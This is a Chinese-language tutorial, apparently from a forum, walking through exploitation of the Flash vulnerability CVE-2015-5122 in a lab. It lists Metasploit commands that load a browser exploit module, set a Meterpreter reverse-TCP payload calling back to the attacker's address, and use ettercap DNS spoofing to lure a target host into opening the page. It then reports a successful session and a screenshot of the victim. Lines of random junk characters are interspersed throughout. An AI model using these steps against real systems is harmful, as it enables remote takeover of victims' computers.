cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机

; P1 o# G, \7 I) f1 f5 P+ J

6 ~- K) X( b: V   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

search cve-2015-5122如图：

* r8 [4 n1 W8 H1 Q. D7 k   ; H- {( k, d& X! O! z

' [9 H) K2 T A; b* R( J/ L 下面我们敲如下命令：

. K k/ k; l$ E( G$ [, v use exploit/multi/browser/adobe_flash_opaque_background_uaf

F- N% o% R9 j: o9 I

) w+ @5 h Y4 @+ ^$ V! Q; ^ set PAYLOAD windows/meterpreter/reverse_tcp 3 @; y; D/ ?$ u! ?7 n( ~7 d

set LHOST 192.168.0.109

, ]1 M+ D8 m! J8 F& d; R* W+ B8 ?1 F

set URIPATH /                        /*根目录*/

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 0 s) x% z+ ^- ^

) G7 x V& L5 |) d; Y set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 0 a7 t# Y0 h% ~/ o

然后show options如图： 0 n7 n4 |: l, U; B4 K, K' Y0 |

c4 w6 | I# ~* z2 j9 b

 

; f. G0 g" D5 s! p( w! q4 B

- J9 }2 N0 z/ L2 _2 b 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
4 P7 I) _0 E/ Z' \) P + U/ M5 v3 Q+ ^' V* o, ?* `- J8 a

. r* d2 `/ Y4 D2 e/ U% C

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

9 J8 L4 a, B3 Q

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf v/ j# t6 D3 H* _, T, s& _

8 S6 ?" g5 D. D e   . K X1 v! t& o. ?) g

成功了，这时候我们断开ettercap，如图：

' ^# k4 {% P4 C- o7 m6 W# Y, ~/ }4 U C [

/ G5 m+ c+ l* |& V/ ~2 k  

! U1 ?, w& K7 X

Screenshot如图：

/ s) O! s1 P/ g

* A- O& z, s2 `: d  

- P+ h7 t9 J6 p' N" r* b